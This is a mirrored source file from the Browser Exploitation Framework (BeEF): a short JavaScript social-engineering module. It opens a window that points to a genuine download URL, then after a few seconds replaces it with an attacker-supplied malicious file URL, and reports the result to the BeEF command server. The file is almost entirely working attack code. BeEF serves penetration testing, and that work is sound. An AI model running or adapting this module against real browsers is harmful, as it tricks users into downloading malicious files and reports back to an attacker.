Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/social_engineering/lcamtuf_download/command.js
1875 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var maliciousurl = '<%= @malicious_file_uri %>';
9
var realurl = '<%= @real_file_uri %>';
10
var w;
11
var once = '<%= @do_once %>';
12
13
function doit() {
14
15
if (!beef.browser.isIE()) {
16
w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=' + realurl + '">', 'foo');
17
setTimeout(donext, 4500);
18
}
19
20
}
21
function donext() {
22
window.open(maliciousurl, 'foo');
23
if (once != true) setTimeout(donext, 5000);
24
once = true;
25
}
26
doit();
27
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Command executed");
28
});
29
30